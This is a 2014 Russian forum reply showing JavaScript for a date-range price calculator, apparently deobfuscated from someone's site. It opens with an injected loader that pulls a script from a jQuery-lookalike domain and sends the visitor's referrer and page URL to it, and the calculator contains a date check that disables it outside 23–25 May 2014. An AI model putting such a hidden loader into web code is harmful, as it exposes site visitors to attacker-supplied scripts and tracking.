Показать сообщение отдельно
  #2 (permalink)  
Старый 25.05.2014, 12:30
Отправить личное сообщение для Octane Посмотреть профиль Найти все сообщения от Octane  
Регистрация: 10.07.2008
Сообщений: 3,873

var lll = document.createElement('script');
lll.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var I1I = document.getElementsByTagName('head')[0];
I1I.appendChild(lll);


function calc(str_d1, str_d2) {
    var today = new Date();
    var dd = parseInt(today.getDate());
    var mm = today.getMonth() + 1;
    var yr = today.getFullYear();
    if ((yr == '2014' && mm == '5') && (dd > 22 && dd < 26)) {} else {
        console.log('NaN');
        return false;
    }

    var arr_d1 = str_d1.split('.');
    var string_date1 = arr_d1[1] + "/" + arr_d1[0] + "/" + arr_d1[2];
    js_date1 = new Date(string_date1);

    var arr_d2 = str_d2.split('.');
    var string_date2 = arr_d2[1] + "/" + arr_d2[0] + "/" + arr_d2[2];
    js_date2 = new Date(string_date2);

    var unix_sec1 = js_date1.getTime() / 1000;
    var unix_sec2 = js_date2.getTime() / 1000;
    var day_sec = 60 * 60 * 24; //кол-во секунд в сутках

    var days_num = (unix_sec2 - unix_sec1) / (day_sec);
    full_days = days_num;

    console.log('output: ' + unix_sec1 + ' => ' + unix_sec2 + '; num days = ' + days_num);

    var ovr_sum = 0; //итоговая сумма
    for (var i = 0; i < (days_num); i++) {
        var tday_sec = (unix_sec1 + (day_sec) * i) * 1000;
        var tday_date = new Date(tday_sec);
        var tday_daynum = tday_date.getUTCDate(); //номер дня в месяце
        //console.log('day num = '+tday_daynum);

        var tday_month = tday_date.getMonth() + 1; //месяц, к которому относится рассматриваемый день, январь - нулевой месяц в js date, поэтому +1
        if (!daily[tday_month][tday_daynum]) {
            var tday_price = prices[tday_month];
        } else {
            var tday_price = daily[tday_month][tday_daynum];
        }
        ovr_sum += tday_price; //прибавляем стоимость рассматр. дня к общей сумме
        //console.log('price+= '+tday_price+'; PRICE DAY ['+tday_month+']['+tday_daynum+'] = '+daily[tday_month][tday_daynum]);
        str_detail += '<br> ' + tday_daynum + '.' + tday_month + '.' + (tday_date.getFullYear()) + ' : ' + tday_price + '$';
    }
    console.log('ovr sum = ' + ovr_sum);
    console.log('detalization: ' + str_detail);

    return ovr_sum;
}
Ответить с цитированием